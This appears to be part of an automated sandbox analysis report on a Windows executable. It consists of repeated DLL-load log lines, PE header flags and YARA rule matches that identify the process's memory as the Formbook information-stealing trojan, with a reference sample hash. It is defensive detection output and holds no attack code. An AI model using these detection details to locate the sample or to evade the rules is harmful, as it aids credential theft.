Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior

Source: Fpopgapwdcgvxn.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 3.2.colorcpl.exe.68b0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 3.2.colorcpl.exe.68b0000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.colorcpl.exe.68b0000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 12.2.colorcpl.exe.65f0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 12.2.colorcpl.exe.65f0000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 12.2.colorcpl.exe.65f0000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.colorcpl.exe.68b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 3.2.colorcpl.exe.68b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.colorcpl.exe.68b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
